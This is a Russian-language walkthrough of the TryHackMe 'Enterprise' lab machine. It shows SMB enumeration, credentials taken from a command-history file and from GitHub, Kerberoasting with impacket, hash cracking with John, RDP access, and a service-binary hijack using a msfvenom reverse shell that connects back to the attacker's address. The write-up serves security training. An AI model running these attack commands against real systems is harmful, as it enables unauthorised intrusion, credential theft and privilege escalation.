Enterprise by THM writeup

Приветствую, вас, кулхацкеры. Мы снова проходим машины на TryHackMe. На этот раз райт будет посвящен тачке под названием Enterprise.

26de4e9e488f3a58c56820e0dab31935.png

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Шаг 0: Сканируем с Nmap

Как всегда начинаем со сканирования:

nmap -sC -sV -T4 -p- 10.10.227.87 

bc9265cfcb73bd67f09c2f77340ee048.pnge843d96ecf8f6e72d055a400d6bcb4b0.png

Заметим что на 80 порту крутится http. Попробуем зайти на веб-страницу машины:

f8ec80375d09d01abed82344b211838a.png

Ничего примечательного. Попробуем просканировать утилитами nikto и dirsearch:

772ee00ad94a4dd4ad0d2eb69643b4d2.pngd0880e695ff9b92ce60367f0d69a5124.png

В процессе сканирования nikto ничего не нашел. Зато dirsearch обнраужил файл robots.txt. Проверим его на наличие интересной информации:

c28adddce6ca7058c77ce2c8949ccde7.png

Также ничего интересного.

Шаг 1: Используем smbclient

На веб странице ничего интересного найдено не было. Попробуем подключиться с хосту с помощью smbclient в поисках открытых шар.

70231da8eb6091345e0cfb36e9526201.png

Нас скорее всего заинтересует шара Users. Попробуем подключиться без указания пароля и имени пользователя с помощью того же smbclient:

ff4f1dbde899d7c3d61eaff2189e3395.png

Успешно! С помощью команды dir посмотрим доступные файлы. И с помощью следующих команд выкачаем все находящиеся на ней файлы.

1e696d779fae6fedb4766ba411e0d099.png

recurse → переключает рекурсию папок для команд mget и mput.
Если рекурсия включена, то эти команды будут работать со всеми поддиректориями указанной папки (например, папки из которой ведется копирование) и будут рекурсивно выполнены во всех папках подходящих по маске, определенной для команды

prompt → переключает запрос имен файлов во время операций команд mget и mput. Если запрос выключен, все указанные файлы будут переданы без запроса.

mget * → скачивает файлы с сервера на машину

Просмотрев все директории, найдем ту, в которой будет находится файл Consolehost_hisory.txt. Просмотрим его содержимое с помощью cat:

9fc3f51503561271b9c2fab65debe2a3.png

Название и содержимое файла совпадают. Это не что иное, как история команд. Здесь для нас будут примечательны учетные данные replication:101RepAdmin123!!

Шаг 2: Используем CrackMapExec

Чтобы проверить валдиность данной учетки, воспользуемся утилитой CrackMapExec:

7c4368cc7200803ffedf2ccaeff299ce.png

Как видно пройти аутентификацию у нас не вышло. Вопрос: куда двигаться дальше? Пентестер всегда должен проверять все имеющиеся у него данные. Возвращаемся к результатам сканирования и видим что на 7990 порту также висит http:

e0d2c09ac7844fc3455500cbe37c97bc.png

Попробуем зайти на веб-страницу:

1e9a756c90fc4b05b65552d120301df8.png

И тут нас встречает страница регистрации Atlassian, на которой сказано, что Enterprise переместились на GitHub. Пойдем в гугл в поисках их страницы. Как показывает практика, сотрудники часто ставляют критические данные на GitHub.

1f56db08a67853b2a64cc8653e118d97.png24f0f727c5f574aee36201dc5bf928ec.pnga3c326393f79f3cefa480f9e8bdbfdd0.png

Наша теория подтвердилась. Пользователь оставил здесь учетные данные, которые мы сможем использовать для дальнейшего проведения атаки. Снова воспользуемся crackmapexec.

6696fe908653fbb76de28bf16835af2d.png

Шаг 3: Проводим Kerberoasting

Аутентификация прошла успешно. А это значит, что мы можем с помощью учетных данных этого пользователя провести атаку Kerberoasting, воспользовавшись модулем GetUserSPNs утилиты Impacket:

impacket-GetUserSPNs -dc-ip 10.10.227.87 'lab.enterprise.thm/nik:ToastyBoi!' -outputfile hash.txt

444737c966ab3502a04ce974e5ec98b2.png

Дальше, получив заветный TGT, попытаемся получить пароль в открытом виде, воспользовавшись утилитой JohnTheRipper:

john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3014a92f1a3bb92c76d4a31dea0a22b0.png

Шаг 4: Подключаемся с помощью xfreerdp

Попытка подключения через Evil-WinRM не увенчалась успехом. Поэтому попробуем подключиться через протокол RDP с помощью xfreerdp:

xfreerdp /u:bitbucket /p:littleredbucket /v:10.10.227.87 /dynamic-resolution

796d0a0e5f5468be887365a7f491e4fb.png

Тут же и найдем первый флаг:

10bf037725b515d6dea69ff3745ad61d.png

Шаг 5: Повышаем привилегии

Так как у нашего пользователя нет административных прав, будем повышать привилегии. Для этого воспользуемся утилитой WinPEAS:

c481f45c3b3fda8ebbbb8413c17205c1.png332546c4bd005ffd41f907a5a5ba8566.png

Как видим, WinPEAS нашел директорию, в которой мы имеем право на запись и на наследование, а именно C:\Program Files (x86)\Zero Tier\ZeroTier One.exe

Что же здесь происходит и почему мы можем делать то, что собираемся делать? Итак, службы имеют двоичный путь — он указывает на исполняемый файл, который будет запущен при запуске службы. В нашем случае это ZeroTier One.exe.

Наш текущий пользователь bitbucket имеет право изменять путь и сам исполняемый файл, поскольку у нас есть привилегии «write» на расположение исполняемого файла. Разрешения — наследование (I) и доступ на запись (W).

Поэтому мы подменим исполняемый файл reverse-shell-ом и получим административный доступ.

msfvenom -p windows/x64/shell/reverse_tcp lhost=10.10.197.18 lport=3345 -f exe -o Zero.exe

b2f001b18f1f5d451dea96bf8b86a838.png

В Metasploit выберем exploit/multi/handler, чтобы поймать запрос на подключение к нам.

msfconsole
use exploit/multi/handler
set lhost 10.10.197.18
set lport 3345
set payload windows/x64/shell/reverse_tcp
run

В handler мы устанавливаем те же параметры, что и при генерации нагрузки, то есть наш адрес, и порт на котором мы будем прослушивать. Также устанавливаем используемую нами полезную нагрузку. Дальше закидываем в указанную папку наш Zero.exe, запускаем наш handler командой run, запускаем в папке Powershell и прописываем следующие команды для запуска нашего шелла:

Stop-Service -name zerotieroneservice
Start-Service -name zerotieroneservice

15dcb0e0a4f85082b11db167bef4f178.png

В результате получает шелл от system. Далее переходим в директорию администратора и получаем его флаг:

b242258c1ee90e22b6289c8764f93f05.png

© Habrahabr.ru